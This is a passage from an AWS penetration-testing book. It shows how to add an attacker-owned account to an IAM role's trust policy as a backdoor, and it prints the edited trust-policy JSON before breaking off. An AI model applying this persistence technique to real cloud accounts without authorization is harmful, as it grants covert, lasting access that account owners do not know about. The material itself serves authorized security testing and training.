Hands-On AWS Penetration Testing with Kali Linux

Adding our backdoor access

We are now going to add our attacker-owned account as a trust policy to this role. First, we will save the value of the AssumeRolePolicyDocument key in the roles trust policy to a local JSON file (trust-policy.json). To add trust to our own account without removing the current trust, we can turn the value of the Principal AWS key from a string to an array. This array will include the root ARN that already is in place and the root ARN of our attacker account. trust-policy.json should look like the following now:

{    "Version": "2012-10-17",    "Statement": [        {            "Effect": "Allow",            "Principal": {                "AWS": [                    "arn:aws:iam::111111111111:root",                    "arn:aws:iam::012345678912:root"                ]            },            "Action": "sts:AssumeRole"        }    ]}

Next, we will ...